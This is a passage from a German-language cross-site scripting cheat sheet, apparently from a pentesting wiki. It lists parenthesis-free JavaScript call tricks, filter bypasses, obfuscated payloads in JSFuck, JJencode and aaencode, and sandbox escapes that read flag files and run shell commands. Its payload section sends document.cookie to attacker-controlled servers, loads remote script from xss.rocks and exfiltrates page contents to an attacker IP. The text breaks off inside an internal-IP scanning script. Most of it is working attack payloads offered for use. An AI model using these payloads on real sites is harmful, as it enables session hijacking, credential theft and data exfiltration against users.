"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Beliebiger Funktionsaufruf (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM-Schwachstellen
Es gibt JS-Code, der unsicher Daten verwendet, die von einem Angreifer kontrolliert werden, wie location.href
. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
Aufgrund der Erweiterung der Erklärung von DOM-Schwachstellen wurde sie auf diese Seite verschoben:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Dort finden Sie eine detaillierte Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt.
Vergessen Sie auch nicht, dass am Ende des genannten Beitrags eine Erklärung zu DOM-Clobbering-Angriffen zu finden ist.
Andere Umgehungen
Normalisiertes Unicode
Sie könnten überprüfen, ob die reflektierten Werte auf dem Server (oder auf der Clientseite) unicode-normalisiert werden und diese Funktionalität nutzen, um Schutzmechanismen zu umgehen. Hier finden Sie ein Beispiel.
PHP FILTER_VALIDATE_EMAIL-Flag-Umgehung
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails Umgehung
Aufgrund der RoR Massenzuweisung werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.
Formularbeispiel (aus diesem Bericht), wenn Sie das Payload senden:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Das Paar "Key","Value" wird wie folgt zurückgegeben:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Besondere Kombinationen
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS mit Header-Injection in einer 302-Antwort
Wenn Sie feststellen, dass Sie Header in einer 302-Weiterleitungsantwort injizieren können, könnten Sie versuchen, den Browser dazu zu bringen, beliebigen JavaScript-Code auszuführen. Dies ist nicht trivial, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos.
In diesem Bericht und diesem hier können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen können, um zu sehen, ob der Browser den XSS-Payload im Körper inspizieren und ausführen kann. Bekannte Protokolle: mailto://
, //x:1/
, ws://
, wss://
, leerer Location-Header, resource://
.
Nur Buchstaben, Zahlen und Punkte
Wenn Sie den Callback angeben können, den JavaScript ausführen wird, begrenzt auf diese Zeichen. Lesen Sie diesen Abschnitt dieses Beitrags, um herauszufinden, wie Sie dieses Verhalten missbrauchen können.
Gültige <script>
Content-Types für XSS
(Aus hier) Wenn Sie versuchen, ein Skript mit einem Content-Type wie application/octet-stream
zu laden, wirft Chrome folgenden Fehler:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Die einzigen Content-Types, die Chrome unterstützen, um ein geladenes Skript auszuführen, sind diejenigen, die sich im const kSupportedJavascriptTypes
von https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc befinden.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Skripttypen für XSS
(Von hier) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?
<script type="???"></script>
Die Antwort ist:
- Modul (Standard, nichts zu erklären)
- webbundle: Web-Bundles ist eine Funktion, mit der Sie eine Vielzahl von Daten (HTML, CSS, JS usw.) in einer
.wbn
-Datei bündeln können.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Ermöglicht die Verbesserung der Import-Syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Dieses Verhalten wurde in diesem Writeup verwendet, um eine Bibliothek auf eval umzumappen, um sie zu missbrauchen und XSS auszulösen.
- speculationrules: Diese Funktion dient hauptsächlich zur Lösung einiger Probleme, die durch das Vorabrendern verursacht werden. Es funktioniert folgendermaßen:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Web-Inhaltsarten für XSS
(Aus hier) Die folgenden Inhaltsarten können XSS in allen Browsern ausführen:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)
- application/rss+xml (aus)
- application/atom+xml (aus)
In anderen Browsern können andere Content-Types
verwendet werden, um beliebigen JS-Code auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml-Inhaltstyp
Wenn die Seite einen text/xml-Inhaltstyp zurückgibt, ist es möglich, einen Namespace anzugeben und beliebigen JS-Code auszuführen:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Spezielle Ersetzungsmuster
Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>)
verwendet wird. Der Angreifer könnte spezielle Zeichenkettenersetzungen verwenden, um einige Schutzmechanismen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Zum Beispiel wurde in diesem Bericht dies verwendet, um eine JSON-Zeichenkette innerhalb eines Skripts zu entkommen und beliebigen Code auszuführen.
Chrome-Cache zu XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
XS-Jails Escape
Wenn Sie nur eine begrenzte Anzahl von Zeichen verwenden können, überprüfen Sie diese anderen gültigen Lösungen für XSJail-Probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Wenn alles undefiniert ist bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in diesem Bericht), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
- Mit import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Zugriff auf
require
indirekt
Gemäß dieser Quelle werden Module von Node.js in eine Funktion eingewickelt, wie folgt:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Daher ist es möglich, wenn wir aus diesem Modul eine andere Funktion aufrufen können, arguments.callee.caller.arguments[1]
aus dieser Funktion zu verwenden, um auf require
zuzugreifen:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, Fehlerbehandlungen zu verwenden, um auf den Wrapper des Moduls zuzugreifen und die require
Funktion zu erhalten:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Verschleierung & Fortgeschrittene Umgehung
- Verschiedene Verschleierungen auf einer Seite: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Fortgeschrittenes JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS häufige Payloads
Mehrere Payloads in 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Cookies abrufen
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Sie können nicht auf die Cookies von JavaScript aus zugreifen, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier haben Sie einige Möglichkeiten, diesen Schutz zu umgehen, wenn Sie Glück haben. {% endhint %}
Seiteninhalt stehlen
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Interne IPs finden
Um interne IPs zu finden, können Sie XSS (Cross-Site-Scripting) verwenden, um JavaScript-Code in die Webanwendung einzufügen, der die Benutzer dazu bringt, ihre IP-Adresse an einen von Ihnen kontrollierten Server zu senden. Dies kann Ihnen helfen, interne IPs von Benutzern zu identifizieren, die von der Webanwendung aus aufgerufen werden.
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
